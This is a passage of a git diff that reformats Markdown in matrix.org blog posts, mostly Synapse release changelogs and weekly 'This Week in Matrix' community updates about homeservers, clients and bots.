([\#7771](https://github.com/matrix-org/synapse/issues/7771)) - -Synapse 1.16.0rc1 (2020-07-01) -============================== - -Features --------- - -- Add an option to enable encryption by default for new rooms. ([\#7639](https://github.com/matrix-org/synapse/issues/7639)) -- Add support for running multiple media repository workers. See [docs/workers.md](https://github.com/matrix-org/synapse/blob/release-v1.16.0/docs/workers.md) for instructions. ([\#7706](https://github.com/matrix-org/synapse/issues/7706)) -- Media can now be marked as safe from quarantined. ([\#7718](https://github.com/matrix-org/synapse/issues/7718)) -- Expand the configuration options for auto-join rooms. ([\#7763](https://github.com/matrix-org/synapse/issues/7763)) - - -Bugfixes --------- - -- Remove `user_id` from the response to `GET /_matrix/client/r0/presence/{userId}/status` to match the specification. ([\#7606](https://github.com/matrix-org/synapse/issues/7606)) -- In worker mode, ensure that replicated data has not already been received. ([\#7648](https://github.com/matrix-org/synapse/issues/7648)) -- Fix intermittent exception during startup, introduced in Synapse 1.14.0. ([\#7663](https://github.com/matrix-org/synapse/issues/7663)) -- Include a user-agent for federation and well-known requests. ([\#7677](https://github.com/matrix-org/synapse/issues/7677)) -- Accept the proper field (`phone`) for the `m.id.phone` identifier type. The legacy field of `number` is still accepted as a fallback. Bug introduced in v0.20.0. ([\#7687](https://github.com/matrix-org/synapse/issues/7687)) -- Fix "Starting db txn 'get_completed_ui_auth_stages' from sentinel context" warning. The bug was introduced in 1.13.0. ([\#7688](https://github.com/matrix-org/synapse/issues/7688)) -- Compare the URI and method during user interactive authentication (instead of the URI twice). Bug introduced in 1.13.0. ([\#7689](https://github.com/matrix-org/synapse/issues/7689)) -- Fix a long standing bug where the response to the `GET room_keys/version` endpoint had the incorrect type for the `etag` field. ([\#7691](https://github.com/matrix-org/synapse/issues/7691)) -- Fix logged error during device resync in opentracing. Broke in v1.14.0. ([\#7698](https://github.com/matrix-org/synapse/issues/7698)) -- Do not break push rule evaluation when receiving an event with a non-string body. This is a long-standing bug. ([\#7701](https://github.com/matrix-org/synapse/issues/7701)) -- Fixs a long standing bug which resulted in an exception: "TypeError: argument of type 'ObservableDeferred' is not iterable". ([\#7708](https://github.com/matrix-org/synapse/issues/7708)) -- The `synapse_port_db` script no longer fails when the `ui_auth_sessions` table is non-empty. This bug has existed since v1.13.0. ([\#7711](https://github.com/matrix-org/synapse/issues/7711)) -- Synapse will now fetch media from the proper specified URL (using the r0 prefix instead of the unspecified v1). ([\#7714](https://github.com/matrix-org/synapse/issues/7714)) -- Fix the tables ignored by `synapse_port_db` to be in sync the current database schema. ([\#7717](https://github.com/matrix-org/synapse/issues/7717)) -- Fix missing `Content-Length` on HTTP responses from the metrics handler. ([\#7730](https://github.com/matrix-org/synapse/issues/7730)) -- Fix large state resolutions from stalling Synapse for seconds at a time. ([\#7735](https://github.com/matrix-org/synapse/issues/7735), [\#7746](https://github.com/matrix-org/synapse/issues/7746)) - - -Improved Documentation ----------------------- - -- Spelling correction in sample_config.yaml. ([\#7652](https://github.com/matrix-org/synapse/issues/7652)) -- Added instructions for how to use Keycloak via OpenID Connect to authenticate with Synapse. ([\#7659](https://github.com/matrix-org/synapse/issues/7659)) -- Corrected misspelling of PostgreSQL. ([\#7724](https://github.com/matrix-org/synapse/issues/7724)) - - -Deprecations and Removals -------------------------- - -- Deprecate `m.login.jwt` login method in favour of `org.matrix.login.jwt`, as `m.login.jwt` is not part of the Matrix spec. ([\#7675](https://github.com/matrix-org/synapse/issues/7675)) - - -Internal Changes ----------------- - -- Refactor getting replication updates from database. ([\#7636](https://github.com/matrix-org/synapse/issues/7636)) -- Clean-up the login fallback code. ([\#7657](https://github.com/matrix-org/synapse/issues/7657)) -- Increase the default SAML session expiry time to 15 minutes. ([\#7664](https://github.com/matrix-org/synapse/issues/7664)) -- Convert the device message and pagination handlers to async/await. ([\#7678](https://github.com/matrix-org/synapse/issues/7678)) -- Convert typing handler to async/await. ([\#7679](https://github.com/matrix-org/synapse/issues/7679)) -- Require `parameterized` package version to be at least 0.7.0. ([\#7680](https://github.com/matrix-org/synapse/issues/7680)) -- Refactor handling of `listeners` configuration settings. ([\#7681](https://github.com/matrix-org/synapse/issues/7681)) -- Replace uses of `six.iterkeys`/`iteritems`/`itervalues` with `keys()`/`items()`/`values()`. ([\#7692](https://github.com/matrix-org/synapse/issues/7692)) -- Add support for using `rust-python-jaeger-reporter` library to reduce jaeger tracing overhead. ([\#7697](https://github.com/matrix-org/synapse/issues/7697)) -- Make Tox actions work on Debian 10. ([\#7703](https://github.com/matrix-org/synapse/issues/7703)) -- Replace all remaining uses of `six` with native Python 3 equivalents. Contributed by @ilmari. ([\#7704](https://github.com/matrix-org/synapse/issues/7704)) -- Fix broken link in sample config. ([\#7712](https://github.com/matrix-org/synapse/issues/7712)) -- Speed up state res v2 across large state differences. ([\#7725](https://github.com/matrix-org/synapse/issues/7725)) -- Convert directory handler to async/await. ([\#7727](https://github.com/matrix-org/synapse/issues/7727)) -- Move `flake8` to the end of `scripts-dev/lint.sh` as it takes the longest and could cause the script to exit early. ([\#7738](https://github.com/matrix-org/synapse/issues/7738)) -- Explain the "test" conditional requirement for dependencies is not all of the modules necessary to run the unit tests. ([\#7751](https://github.com/matrix-org/synapse/issues/7751)) -- Add some metrics for inbound and outbound federation latencies: `synapse_federation_server_pdu_process_time` and `synapse_event_processing_lag_by_event`. ([\#7755](https://github.com/matrix-org/synapse/issues/7755)) - +### Improved Documentation + +* Update postgres image in example `docker-compose.yaml` to tag `12-alpine`. ([\#7696](https://github.com/matrix-org/synapse/issues/7696)) + +### Internal Changes + +* Add some metrics for inbound and outbound federation latencies: `synapse_federation_server_pdu_process_time` and `synapse_event_processing_lag_by_event`. ([\#7771](https://github.com/matrix-org/synapse/issues/7771)) + +## Synapse 1.16.0rc1 (2020-07-01) + +### Features + +* Add an option to enable encryption by default for new rooms. ([\#7639](https://github.com/matrix-org/synapse/issues/7639)) +* Add support for running multiple media repository workers. See [docs/workers.md](https://github.com/matrix-org/synapse/blob/release-v1.16.0/docs/workers.md) for instructions. ([\#7706](https://github.com/matrix-org/synapse/issues/7706)) +* Media can now be marked as safe from quarantined. ([\#7718](https://github.com/matrix-org/synapse/issues/7718)) +* Expand the configuration options for auto-join rooms. ([\#7763](https://github.com/matrix-org/synapse/issues/7763)) + +### Bugfixes + +* Remove `user_id` from the response to `GET /_matrix/client/r0/presence/{userId}/status` to match the specification. ([\#7606](https://github.com/matrix-org/synapse/issues/7606)) +* In worker mode, ensure that replicated data has not already been received. ([\#7648](https://github.com/matrix-org/synapse/issues/7648)) +* Fix intermittent exception during startup, introduced in Synapse 1.14.0. ([\#7663](https://github.com/matrix-org/synapse/issues/7663)) +* Include a user-agent for federation and well-known requests. ([\#7677](https://github.com/matrix-org/synapse/issues/7677)) +* Accept the proper field (`phone`) for the `m.id.phone` identifier type. The legacy field of `number` is still accepted as a fallback. Bug introduced in v0.20.0. ([\#7687](https://github.com/matrix-org/synapse/issues/7687)) +* Fix "Starting db txn 'get_completed_ui_auth_stages' from sentinel context" warning. The bug was introduced in 1.13.0. ([\#7688](https://github.com/matrix-org/synapse/issues/7688)) +* Compare the URI and method during user interactive authentication (instead of the URI twice). Bug introduced in 1.13.0. ([\#7689](https://github.com/matrix-org/synapse/issues/7689)) +* Fix a long standing bug where the response to the `GET room_keys/version` endpoint had the incorrect type for the `etag` field. ([\#7691](https://github.com/matrix-org/synapse/issues/7691)) +* Fix logged error during device resync in opentracing. Broke in v1.14.0. ([\#7698](https://github.com/matrix-org/synapse/issues/7698)) +* Do not break push rule evaluation when receiving an event with a non-string body. This is a long-standing bug. ([\#7701](https://github.com/matrix-org/synapse/issues/7701)) +* Fixs a long standing bug which resulted in an exception: "TypeError: argument of type 'ObservableDeferred' is not iterable". ([\#7708](https://github.com/matrix-org/synapse/issues/7708)) +* The `synapse_port_db` script no longer fails when the `ui_auth_sessions` table is non-empty. This bug has existed since v1.13.0. ([\#7711](https://github.com/matrix-org/synapse/issues/7711)) +* Synapse will now fetch media from the proper specified URL (using the r0 prefix instead of the unspecified v1). ([\#7714](https://github.com/matrix-org/synapse/issues/7714)) +* Fix the tables ignored by `synapse_port_db` to be in sync the current database schema. ([\#7717](https://github.com/matrix-org/synapse/issues/7717)) +* Fix missing `Content-Length` on HTTP responses from the metrics handler. ([\#7730](https://github.com/matrix-org/synapse/issues/7730)) +* Fix large state resolutions from stalling Synapse for seconds at a time. ([\#7735](https://github.com/matrix-org/synapse/issues/7735), [\#7746](https://github.com/matrix-org/synapse/issues/7746)) + +### Improved Documentation + +* Spelling correction in sample_config.yaml. ([\#7652](https://github.com/matrix-org/synapse/issues/7652)) +* Added instructions for how to use Keycloak via OpenID Connect to authenticate with Synapse. ([\#7659](https://github.com/matrix-org/synapse/issues/7659)) +* Corrected misspelling of PostgreSQL. ([\#7724](https://github.com/matrix-org/synapse/issues/7724)) + +### Deprecations and Removals + +* Deprecate `m.login.jwt` login method in favour of `org.matrix.login.jwt`, as `m.login.jwt` is not part of the Matrix spec. ([\#7675](https://github.com/matrix-org/synapse/issues/7675)) + +### Internal Changes + +* Refactor getting replication updates from database. ([\#7636](https://github.com/matrix-org/synapse/issues/7636)) +* Clean-up the login fallback code. ([\#7657](https://github.com/matrix-org/synapse/issues/7657)) +* Increase the default SAML session expiry time to 15 minutes. ([\#7664](https://github.com/matrix-org/synapse/issues/7664)) +* Convert the device message and pagination handlers to async/await. ([\#7678](https://github.com/matrix-org/synapse/issues/7678)) +* Convert typing handler to async/await. ([\#7679](https://github.com/matrix-org/synapse/issues/7679)) +* Require `parameterized` package version to be at least 0.7.0. ([\#7680](https://github.com/matrix-org/synapse/issues/7680)) +* Refactor handling of `listeners` configuration settings. ([\#7681](https://github.com/matrix-org/synapse/issues/7681)) +* Replace uses of `six.iterkeys`/`iteritems`/`itervalues` with `keys()`/`items()`/`values()`. ([\#7692](https://github.com/matrix-org/synapse/issues/7692)) +* Add support for using `rust-python-jaeger-reporter` library to reduce jaeger tracing overhead. ([\#7697](https://github.com/matrix-org/synapse/issues/7697)) +* Make Tox actions work on Debian 10. ([\#7703](https://github.com/matrix-org/synapse/issues/7703)) +* Replace all remaining uses of `six` with native Python 3 equivalents. Contributed by @ilmari. ([\#7704](https://github.com/matrix-org/synapse/issues/7704)) +* Fix broken link in sample config. ([\#7712](https://github.com/matrix-org/synapse/issues/7712)) +* Speed up state res v2 across large state differences. ([\#7725](https://github.com/matrix-org/synapse/issues/7725)) +* Convert directory handler to async/await. ([\#7727](https://github.com/matrix-org/synapse/issues/7727)) +* Move `flake8` to the end of `scripts-dev/lint.sh` as it takes the longest and could cause the script to exit early. ([\#7738](https://github.com/matrix-org/synapse/issues/7738)) +* Explain the "test" conditional requirement for dependencies is not all of the modules necessary to run the unit tests. ([\#7751](https://github.com/matrix-org/synapse/issues/7751)) +* Add some metrics for inbound and outbound federation latencies: `synapse_federation_server_pdu_process_time` and `synapse_event_processing_lag_by_event`. ([\#7755](https://github.com/matrix-org/synapse/issues/7755)) diff --git a/content/blog/2020/07/2020-07-10-this-week-in-matrix-2020-07-10.md b/content/blog/2020/07/2020-07-10-this-week-in-matrix-2020-07-10.md index 1a6b81609..866165514 100644 --- a/content/blog/2020/07/2020-07-10-this-week-in-matrix-2020-07-10.md +++ b/content/blog/2020/07/2020-07-10-this-week-in-matrix-2020-07-10.md @@ -27,7 +27,7 @@ This week it's Open Tech Will Save Us! > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at > > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > @@ -50,7 +50,7 @@ This week it's Open Tech Will Save Us! > > Note that a majority of those new MSCs are split out from [MSC1849](https://github.com/matrix-org/matrix-doc/pull/1849) (the aggregations MSC) to make it easier to review 🙂 > -> #### Spec Core Team +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, we're sticking to implementation work. anoa did have some time this week to make the graphs more useful though: @@ -121,7 +121,7 @@ Check out that graph! > > As a side project I've been working on a modern Go rewrite called **Complement** which is now ready for a bit more exposure. It currently only has a handful of SyTests converted but I hope to rapidly expand the number in the coming weeks. Complement makes heavy use of Docker to agnostically run homeservers, and already includes a Dockerfile for configuring a Dendrite instance. To try it out, clone the repo and run: > -> ``` +> ```bash > (cd dockerfiles && docker build -t complement-dendrite -f Dendrite.Dockerfile .) > > COMPLEMENT_BASE_IMAGE=complement-dendrite:latest go test -v ./tests @@ -190,7 +190,7 @@ Conduit is a Matrix homeserver written in Rust [Neil](https://matrix.to/#/@neilj:matrix.org) reported: -> In Synapse land this week, we shipped [1.16.0](https://matrix.org/blog/2020/07/08/synapse-1-16-0-released) and err [1.16.1](https://github.com/matrix-org/synapse/releases/tag/v1.16.1). +> In Synapse land this week, we shipped [1.16.0](https://matrix.org/blog/2020/07/08/synapse-1-16-0-released) and err [1.16.1](https://github.com/matrix-org/synapse/releases/tag/v1.16.1). > > Lifting from the blog post, the highlights are:- > @@ -204,11 +204,11 @@ Conduit is a Matrix homeserver written in Rust > > We also put out a [release candidate](https://github.com/matrix-org/synapse/releases/tag/v1.17.0rc1) for 1.17.0 which all being well we’ll release on Monday. 1.17.0 is really a bug fix release the most notable being finally squashing a long standing bug that caused [locally rejected invites to get ‘stuck’ client side](https://github.com/matrix-org/synapse/issues/2181). > -> Continuing our matrix.org performance theme, having now got the CS API largely into a good state of responsiveness, we are looking at federation lag. Today we shipped a sharded Federation Reader to matrix.org which has reduced the average lag from seconds to milliseconds. We are just running two currently and are still tuning as we figure out how to get the best from it. Initial impressions seem promising. Watch this space. +> Continuing our matrix.org performance theme, having now got the CS API largely into a good state of responsiveness, we are looking at federation lag. Today we shipped a sharded Federation Reader to matrix.org which has reduced the average lag from seconds to milliseconds. We are just running two currently and are still tuning as we figure out how to get the best from it. Initial impressions seem promising. Watch this space. ![2020-07-10-qiwpr-Screenshot2020-07-10at16.02.39.png](/blog/img/2020-07-10-qiwpr-Screenshot2020-07-10at16.02.39.png) -> We also have a [PR out for review](https://github.com/matrix-org/synapse/pull/7798) to shard the Federation Sender, which will have much the same effect in the other direction. +> We also have a [PR out for review](https://github.com/matrix-org/synapse/pull/7798) to shard the Federation Sender, which will have much the same effect in the other direction. > > Once we have sending messages via the Client-Server API, much reduced federation lag and a sharded Pusher we’ll take a look at room joins. @@ -221,6 +221,7 @@ Conduit is a Matrix homeserver written in Rust > v2.3.0 of [dacruz21/matrix-chart](https://hub.helm.sh/charts/dacruz21/matrix) has been published with Synapse 1.16. ### Kubernetes +> > Just pushed the 1.16 K8s-optimized Synapse image tags, this time done from a tablet in a server room between moving a bunch of hardware. ### New WireGuard-based deployment @@ -323,7 +324,7 @@ Due to utter negligence and malpractice by myself, we missed the update for this [mr_johnson22](https://matrix.to/#/@mr_johnson22:matrix.org) said: -> **matrix-imposter-bot** - _A bot that uses your account to repeat other people's messages. This gives relay-bot capabilities to puppet-only bridges._ +> **matrix-imposter-bot** - *A bot that uses your account to repeat other people's messages. This gives relay-bot capabilities to puppet-only bridges.* > > Updates: > diff --git a/content/blog/2020/07/2020-07-13-synapse-1-17-0-released.md b/content/blog/2020/07/2020-07-13-synapse-1-17-0-released.md index 244a2bd65..04fb7ccdc 100644 --- a/content/blog/2020/07/2020-07-13-synapse-1-17-0-released.md +++ b/content/blog/2020/07/2020-07-13-synapse-1-17-0-released.md @@ -13,20 +13,17 @@ Synapse 1.17.0 is here! Hot on the heels of Synapse 1.16.1, 1.17.0 is a bug fix release most notably containing a fix for ['stuck invites'](https://github.com/matrix-org/synapse/issues/2181) which happen when we are unable to reject a room invite received over federation. -Get the new releases from any of the usual sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. 1.17.0 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.17.0). +Get the new releases from any of the usual sources mentioned at . 1.17.0 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.17.0). Changelog for 1.17.0 follows: -Synapse 1.17.0 (2020-07-13) -=========================== +## Synapse 1.17.0 (2020-07-13) Synapse 1.17.0 is identical to 1.17.0rc1, with the addition of the fix that was included in [1.16.1](https://github.com/matrix-org/synapse/releases/v1.16.1). -Synapse 1.17.0rc1 (2020-07-09) -============================== +## Synapse 1.17.0rc1 (2020-07-09) -Bugfixes --------- +### Bugfixes - Fix inconsistent handling of upper and lower case in email addresses when used as identifiers for login, etc. Contributed by @dklimpel. ([\#7021](https://github.com/matrix-org/synapse/issues/7021)) - Fix "Tried to close a non-active scope!" error messages when opentracing is enabled. ([\#7732](https://github.com/matrix-org/synapse/issues/7732)) @@ -36,19 +33,16 @@ Bugfixes - Fixes a long standing bug in worker mode where worker information was saved in the devices table instead of the original IP address and user agent. ([\#7797](https://github.com/matrix-org/synapse/issues/7797)) - Fix 'stuck invites' which happen when we are unable to reject a room invite received over federation. ([\#7804](https://github.com/matrix-org/synapse/issues/7804), [\#7809](https://github.com/matrix-org/synapse/issues/7809), [\#7810](https://github.com/matrix-org/synapse/issues/7810)) -Updates to the Docker image ---------------------------- +### Updates to the Docker image - Include libwebp in the Docker file to properly handle webp image uploads. ([\#7791](https://github.com/matrix-org/synapse/issues/7791)) -Improved Documentation ----------------------- +### Improved Documentation - Improve the documentation of the non-standard JSON web token login type. ([\#7776](https://github.com/matrix-org/synapse/issues/7776)) - Update doc links for caddy. Contributed by Nicolai Søborg. ([\#7789](https://github.com/matrix-org/synapse/issues/7789)) -Internal Changes ----------------- +### Internal Changes - Refactor getting replication updates from database. ([\#7740](https://github.com/matrix-org/synapse/issues/7740)) - Send push notifications with a high or low priority depending upon whether they may generate user-observable effects. ([\#7765](https://github.com/matrix-org/synapse/issues/7765)) diff --git a/content/blog/2020/07/2020-07-17-this-week-in-matrix-2020-07-17.md b/content/blog/2020/07/2020-07-17-this-week-in-matrix-2020-07-17.md index eb094b8f6..ca71a25a4 100644 --- a/content/blog/2020/07/2020-07-17-this-week-in-matrix-2020-07-17.md +++ b/content/blog/2020/07/2020-07-17-this-week-in-matrix-2020-07-17.md @@ -22,11 +22,11 @@ Let's hear from Christian about working on his dream projects, his thoughts on b This week was the announcement of the much-awaited rebrand: [Riot is now Element](https://element.io/blog/welcome-to-element/). In fact, three brands are coalescing into one: Riot and New Vector will be referred to as Element, while the SaaS platform known as Modular.im is now [Element Matrix Services](https://element.io/matrix-services). -Note that **Matrix** is _not_ involved in this change. Matrix is still Matrix, don't worry about that! +Note that **Matrix** is *not* involved in this change. Matrix is still Matrix, don't worry about that! ### CommCon Virtual 2020, with added Matrix -CommCon is an event dedicated to Real-Time Communications. In 2020 they made the difficult decision to go online-only, but had a fear of missing out on the "hallway-track" that is so important to industry events. Their solution was to include a live chat to run alongside their streamed talks! +CommCon is an event dedicated to Real-Time Communications. In 2020 they made the difficult decision to go online-only, but had a fear of missing out on the "hallway-track" that is so important to industry events. Their solution was to include a live chat to run alongside their streamed talks! Matrix was a natural choice for the crowd, but they wanted a way to encourage viewers to join the correct room from their own Matrix clients. To do this, they used the GSOC project from arnav-t - an HTML Embedded client - to present a live scrolling-view of the chat. You can see the result at . @@ -36,7 +36,7 @@ Matrix was a natural choice for the crowd, but they wanted a way to encourage vi > anoa is away this week, so no pretty graph, I'm afraid. *(this is intolerable - BP)* > -> #### MSC status +> ### MSC status > > **Merged MSCs** > @@ -50,7 +50,7 @@ Matrix was a natural choice for the crowd, but they wanted a way to encourage vi > > * [MSC2689: Fix E2EE for guests](https://github.com/matrix-org/matrix-doc/pull/2689) > -> #### Spec Core Team +> ### Spec Core Team > > This week, the Spec Core Team will be focusing on [MSC2610](https://github.com/matrix-org/matrix-doc/pull/2610) (Removing `m.login.oauth2` from User-Interactive Authentication), [MSC2611](https://github.com/matrix-org/matrix-doc/pull/2611) (Removing `m.login.token` from User-Interactive Authentication), [MSC2663](https://github.com/matrix-org/matrix-doc/pull/2663) (Errors for dealing with non-existent push rules), [MSC2674](https://github.com/matrix-org/matrix-doc/pull/2674) (Event Relationships), and [MSC2689](https://github.com/matrix-org/matrix-doc/pull/2689) (Fix E2EE for guests). @@ -159,23 +159,21 @@ Conduit is a Matrix homeserver written in Rust > A big week for matrix.org performance. > -> Hot on the heels of shipping shardable federation readers last week, this week we shipped shardable federation senders. There is still plenty of work to do, but together these changes has made a massive difference to federation lag overall and hopefully those of you not on matrix.org are noticing the difference when you talk to matrix.org users. +> Hot on the heels of shipping shardable federation readers last week, this week we shipped shardable federation senders. There is still plenty of work to do, but together these changes has made a massive difference to federation lag overall and hopefully those of you not on matrix.org are noticing the difference when you talk to matrix.org users. > > This graph shows the impact to outbound federation lag. - ![2020-07-17-01oi5-Screenshot2020-07-17at14.39.02.png](/blog/img/2020-07-17-01oi5-Screenshot2020-07-17at14.39.02.png) -> Aside from that we also shipped shardable push and frontend proxy workers as both were starting to max out on CPU as well as a shardable client reader, allowing us to shard registration which was especially important this week :) +> Aside from that we also shipped shardable push and frontend proxy workers as both were starting to max out on CPU as well as a shardable client reader, allowing us to shard registration which was especially important this week :) > > Finally we moved typing notifications from the master process and optimised incoming replication queuing to buy us a little more head room. > > Next steps are to revisit where all the remaining cycles are going on the master process. To help us profile we are migrating to async/await semantics and Patrick produced this natty [graph](https://patrick.cloke.us/areweasyncyet/) to track progress. - ![2020-07-17-Uqa2y-Screenshot2020-07-17at14.38.44.png](/blog/img/2020-07-17-Uqa2y-Screenshot2020-07-17at14.38.44.png) -> Outside of performance we shipped a bug fix to prevent large initial syncs taking out the synchrotrons. The admin api sprouted an end point to list room members (thanks [awesome-michael](https://github.com/awesome-michael)and the ability to reactivate previously deactivated users. +> Outside of performance we shipped a bug fix to prevent large initial syncs taking out the synchrotrons. The admin api sprouted an end point to list room members (thanks [awesome-michael](https://github.com/awesome-michael)and the ability to reactivate previously deactivated users. > > Coming up we’ll dust off the notifications project which has been put on hold while Riot transmogrified into Element and we’ll continue with chipping away at the master process. diff --git a/content/blog/2020/07/2020-07-24-this-week-in-matrix-2020-07-24.md b/content/blog/2020/07/2020-07-24-this-week-in-matrix-2020-07-24.md index 16e8fe406..7f31416f3 100644 --- a/content/blog/2020/07/2020-07-24-this-week-in-matrix-2020-07-24.md +++ b/content/blog/2020/07/2020-07-24-this-week-in-matrix-2020-07-24.md @@ -59,6 +59,7 @@ I didn't get to look at this yet but it's exciting! > **New MSCs:** > > * [MSC2695: Get event by ID over federation](https://github.com/matrix-org/matrix-doc/pull/2695) +> > #### Spec Core Team > > In terms of Spec Core Team MSC focus, we've reduced last week's list of 5 MSCs down to one, [MSC2674](https://github.com/matrix-org/matrix-doc/issues/2674) (aggregations part 1: relationships). Next week, we're going to focus entirely on that MSC to make some headway on finally getting aggregations into the spec. @@ -87,25 +88,25 @@ Dendrite is a next-generation homeserver written in Go > The P2P Yggdrasil iOS demo has seen some improvements: > -> * Federation sender blacklists are now persisted which is important as the iOS app will be frequently terminated. -> * SQLite3 now uses `TransactionWriters` in more places to reduce the amount of 'database is locked' issues. +> * Federation sender blacklists are now persisted which is important as the iOS app will be frequently terminated. +> * SQLite3 now uses `TransactionWriters` in more places to reduce the amount of 'database is locked' issues. > -> * Federation sender has had much of its storage code refactored and de-duplicated. +> * Federation sender has had much of its storage code refactored and de-duplicated. > > In addition, there has been much work getting Dendrite to support E2E rooms, which it now mostly does. > > You can create and join E2E rooms and have a conversation locally, though there's issues with it over federation. In addition, > Dendrite currently lacks device lists so adding new devices may result in unable-to-decrypt errors: > -> * Send-to-device events now work over federation. -> * Device key uploads and querying now work both locally and over federation. +> * Send-to-device events now work over federation. +> * Device key uploads and querying now work both locally and over federation. > -> * One-time key uploads and claiming now work both locally and over federation. +> * One-time key uploads and claiming now work both locally and over federation. > > Spec compliance is up from last week: > -> * Client Server APIs: 49%, up from 48%. -> * Federation APIs: 53%, up from 51%. +> * Client Server APIs: 49%, up from 48%. +> * Federation APIs: 53%, up from 51%. Doesn't it feel like we'll be using Dendrite in the wild really soon now? @@ -130,7 +131,7 @@ Conduit is a Matrix homeserver written in Rust > This week we continued on our async/await athon, you can track progress [here](https://patrick.cloke.us/areweasyncyet/), expect steady progress over the coming weeks. > -> We dusted off the notifications project working with our pals in the Element client teams to ensure that the push rule defaults make sense. On the flip side we made further improvements to Sygnal and will merge the ability to have it sit behind a proxy rsn. +> We dusted off the notifications project working with our pals in the Element client teams to ensure that the push rule defaults make sense. On the flip side we made further improvements to Sygnal and will merge the ability to have it sit behind a proxy rsn. > > We are also trying to figure out how media retention limits should work in Synapse. > @@ -184,7 +185,8 @@ If it mostly works, I guess it's time to mostly start trying it out! > > * Implement web notifications > -> * Implement a connection status header +> * Implement a connection status header +> > #### Changes > > * Switch out database engine for faster performance @@ -196,7 +198,8 @@ If it mostly works, I guess it's time to mostly start trying it out! > * Homeserver URL input now strips trailing whitespace and slash - Thanks @Katerina > > * Also use prev_content to determine profile of a user: This allows the username and avatar of people who left a group to still be displayed -> #### Fixes: +> +> #### Fixes > > * Fix not being able to initiate key verification properly > @@ -204,7 +207,7 @@ If it mostly works, I guess it's time to mostly start trying it out! > * Fix a few HTML rendering bugs > > * Various other fixes -> * Fix the 12h clock showing 00:15am, instead of 12:15am - Thanks @not_chicken +> * Fix the 12h clock showing 00:15am, instead of 12:15am - Thanks @not_chicken > > * Fix an issue with replies and invalid HTML > * Fix messages getting lost when retrieving chat history @@ -222,54 +225,54 @@ If it mostly works, I guess it's time to mostly start trying it out! > > * **Room member profiles**: > -> * Can be accessed by clicking on a user in the room's right pane, or focusing +> * Can be accessed by clicking on a user in the room's right pane, or focusing > the filter field and navigating with up/down/enter/escape > -> * Includes large avatar, display name, user ID, **presence info**, +> * Includes large avatar, display name, user ID, **presence info**, > > **power level control** and **E2E sessions list** > > * **E2E Verification**: > -> * Sessions for room members can now be (manually) verified from +> * Sessions for room members can now be (manually) verified from > their profile > -> * Sessions for different accounts within the same client will automatically +> * Sessions for different accounts within the same client will automatically > > verify each others based on session keys > -> * Verifying a session will automatically verify it for all connected accounts, +> * Verifying a session will automatically verify it for all connected accounts, > > as long as the session keys are identical > > * **Presence**: > -> * Added presence (online, unavailable, invisible, offline) and status +> * Added presence (online, unavailable, invisible, offline) and status > message control to the accounts context menu in the room list > -> * Added `togglePresence{Unavailable,Invisible,Offline}` keybinds bound by +> * Added `togglePresence{Unavailable,Invisible,Offline}` keybinds bound by > > default to `Ctrl+Alt+{A/U,I,O}` > -> * Added `openPresenceMenu` keybind to open the current account's context +> * Added `openPresenceMenu` keybind to open the current account's context > > menu, `Alt+P` by default > -> * The room member list is now sorted by power level, then presence, then name +> * The room member list is now sorted by power level, then presence, then name > -> * The room member list will display presence orbs and last seen time for +> * The room member list will display presence orbs and last seen time for > > members if the server supports it. Last seen times for offline members > are also automatically retrieved as needed. > -> * Set logged in accounts offline when closing Mirage +> * Set logged in accounts offline when closing Mirage > -> * Linux/X11 specific: Add auto-away feature configurable by the +> * Linux/X11 specific: Add auto-away feature configurable by the > > `beUnavailableAfterSecondsIdle` setting (default 600 for 10mn), > can be disabled by setting it to `-1`. > -> * **Session sign out**: you can now sign out your other sessions from the +> * **Session sign out**: you can now sign out your other sessions from the > > account settings. This currently only supports password authentication. > @@ -287,7 +290,7 @@ If it mostly works, I guess it's time to mostly start trying it out! > > * Add `kineticScrollingMaxSpeed` and `kineticScrollingDeceleration` settings > -> * When highlighting accounts, rooms or members in lists +> * When highlighting accounts, rooms or members in lists > > (focus filter field and use up/down), the highlighted item's context menu > can now be accessed with the keyboard Menu key @@ -302,7 +305,7 @@ If it mostly works, I guess it's time to mostly start trying it out! > > * Clicking on the current tab button for the room pane now fully hides it, > -> this can also be toggled with the new `toggleHideRoomPane` keybind +> this can also be toggled with the new `toggleHideRoomPane` keybind > (default Ctrl+Alt+R) > > #### Changed @@ -321,7 +324,7 @@ If it mostly works, I guess it's time to mostly start trying it out! > > * Power levels/room permission change events will now show a line of text or > -> table containing the details of what exactly changed +> table containing the details of what exactly changed > > * Messages containing tables will no longer be width-limited > @@ -333,7 +336,7 @@ If it mostly works, I guess it's time to mostly start trying it out! > > * Clicking on a GIF message will now open it externally like other images > -> instead of pausing it. A dedicated play/pause button is now displayed in +> instead of pausing it. A dedicated play/pause button is now displayed in > the corner. > > And more: [full changelog](https://github.com/mirukana/mirage/releases/tag/v0.6.0) @@ -423,7 +426,7 @@ If you need to convert swiggles into a different type of swiggle, dandellion has > If you have a configured jitsi server to be authenticated with jwt tokens as in , this bot will assist you when claiming for a jwt instead of going to jwt.io each time. > You'll need to create a user and invite you in each room where you want to create a jitsi room url respecting the matrix power levels in the room. > -> When the service is running invite the bot and send message `!jitsi-jwt` +> When the service is running invite the bot and send message `!jitsi-jwt` > > If you are a moderator in the room (alias you have enough power levels to redact messages), then you will get a direct message from bot with the url to jitsi > room with the jwt get parameter. @@ -442,11 +445,11 @@ If you need to convert swiggles into a different type of swiggle, dandellion has > > It currently supports the following commands > -> * `!smythbot help`: Display this message +> * `!smythbot help`: Display this message > * `!smythbot set mythbackend address`: Sets the Myth Tv backend address to use for this room. -> * `!smythbot set mythbacked port`: Sets the Myth Tv backend port to use for this room. -> * `!smythbot view mythbackend address`: Allows you to view the Myth Tv backend address set for this room -> * `!smythbot view mythbackend port`: Allows you to view the Myth Tv backend port set for this room +> * `!smythbot set mythbacked port`: Sets the Myth Tv backend port to use for this room. +> * `!smythbot view mythbackend address`: Allows you to view the Myth Tv backend address set for this room +> * `!smythbot view mythbackend port`: Allows you to view the Myth Tv backend port set for this room > * `!smythbot view mythbackend info`: Allows you to view various pieces of information for the Myth Tv backend connected to this room. It will not work if the address and port are not set. > * `!smythbot display upcoming recordings`: Displays the upcoming recordings on your Myth Tv Backend. > diff --git a/content/blog/2020/07/2020-07-30-synapse-1-18-0-released.md 